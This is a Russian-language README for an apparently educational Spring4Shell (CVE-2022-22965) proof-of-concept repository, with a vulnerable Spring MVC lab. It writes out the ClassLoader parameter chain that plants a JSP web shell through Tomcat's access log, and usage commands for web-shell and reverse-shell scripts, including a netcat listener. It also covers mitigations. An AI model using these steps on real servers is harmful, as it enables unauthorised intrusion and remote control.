Описание
Дисклеймер: Этот репозиторий предназначен только для образовательных и исследовательских целей. Все эксплойт-скрипты должны использоваться исключительно против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый данным материалом.
Изучение и proof-of-concept для CVE-2022-22965 — критической уязвимости удалённого выполнения кода (RCE) в Spring Framework, публично раскрытой в апреле 2022 года.
Spring4Shell затрагивает приложения Spring MVC и Spring WebFlux, когда выполняются все следующие условия:
| Условие | Значение |
|---|
| Версия JDK | 9 или выше |
| Сервер приложений | Apache Tomcat |
| Упаковка | WAR (не исполняемый JAR) |
| Spring Framework | < 5.3.18 или < 5.2.20 |
Механизм связывания данных Spring позволяет сопоставлять параметры HTTP-запроса со свойствами Java-объектов
с помощью точечной нотации (например, user.name=foo). Уязвимость возникает из-за того, что этот
обход не ограничен должным образом — злоумышленник может получить доступ к JVM ClassLoader через
иерархию классов объекта модели:
class.module.classLoader.resources.context.parent.pipeline.first.<property>
Этот путь достигает AccessLogValve Tomcat, чью конфигурацию журналирования можно изменять в
процессе выполнения. Изменяя такие свойства, как pattern, directory, prefix и suffix,
злоумышленник перенаправляет журнал доступа Tomcat на запись файла с расширением .jsp, содержащего
произвольный JSP-код — фактически размещая веб-шелл на сервере.
1. POST /vulnerable
class.module.classLoader.resources.context.parent.pipeline.first.pattern=<JSP payload>
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
2. Tomcat записывает журнал доступа в webapps/ROOT/shell.jsp с внедрённой полезной нагрузкой
3. GET /shell.jsp?cmd=id → RCE
.
├── exploits/
│ ├── exploit1.py # POST-based web shell with password protection
│ ├── exploit2.py # POST-based web shell with reset capability
│ ├── exploit3.py # GET-based variant (simplified)
│ ├── exploit4.py # Reverse TCP shell (GET-based)
│ └── exploit4b.py # Reverse TCP shell (POST-based)
└── springmvc5-helloworld-example/
├── Dockerfile # Uses pre-built tomcat:9.0.60 image
├── Dockerfile2 # Builds from openjdk:11 + downloads Tomcat
├── pom.xml # Maven project — Spring MVC 5.3.17 (vulnerable)
└── src/ # Vulnerable Spring MVC application source
| Скрипт | Метод | Полезная нагрузка | Примечания |
|---|---|---|---|
exploit1.py | POST | Веб-шелл (с паролем) | Один запрос |
exploit2.py | POST | Веб-шелл | Сбрасывает конфигурацию журнала до/после эксплойта |
exploit3.py | GET | Веб-шелл (без пароля) | Параметры через строку запроса |
exploit4.py | GET | Реверс-шелл TCP | JSP-полезная нагрузка на основе msfvenom |
exploit4b.py | POST | Реверс-шелл TCP | Та же нагрузка, что и в exploit4, вариант POST |
# Веб-шелл
python3 exploits/exploit1.py http://target:8080/vulnerable
# Реверс-шелл (сначала запустите слушатель: nc -lvnp 4444)
python3 exploits/exploit4.py --url http://target:8080/vulnerable --lhost <YOUR_IP> --lport 4444
sudo apt install maven или sudo dnf install maven)cd springmvc5-helloworld-example
mvn clean package
# Вариант 1 — готовая сборка образа Tomcat
docker build -t spring4shell .
docker run -p 8082:8080 spring4shell
# Вариант 2 — сборка из openjdk + загрузка Tomcat
docker build -t spring4shell -f Dockerfile2 .
docker run -p 8082:8080 spring4shell
После этого приложение доступно по адресу http://localhost:8082/vulnerable.
WebDataBinder.setDisallowedFields() для блокировки связывания classLoaderclass., Class., module. или classLoaderОригинальное исследование и код эксплойта — @march0n. Этот репозиторий — личное изучение уязвимости в учебных целях с дополнительной документацией и анализом.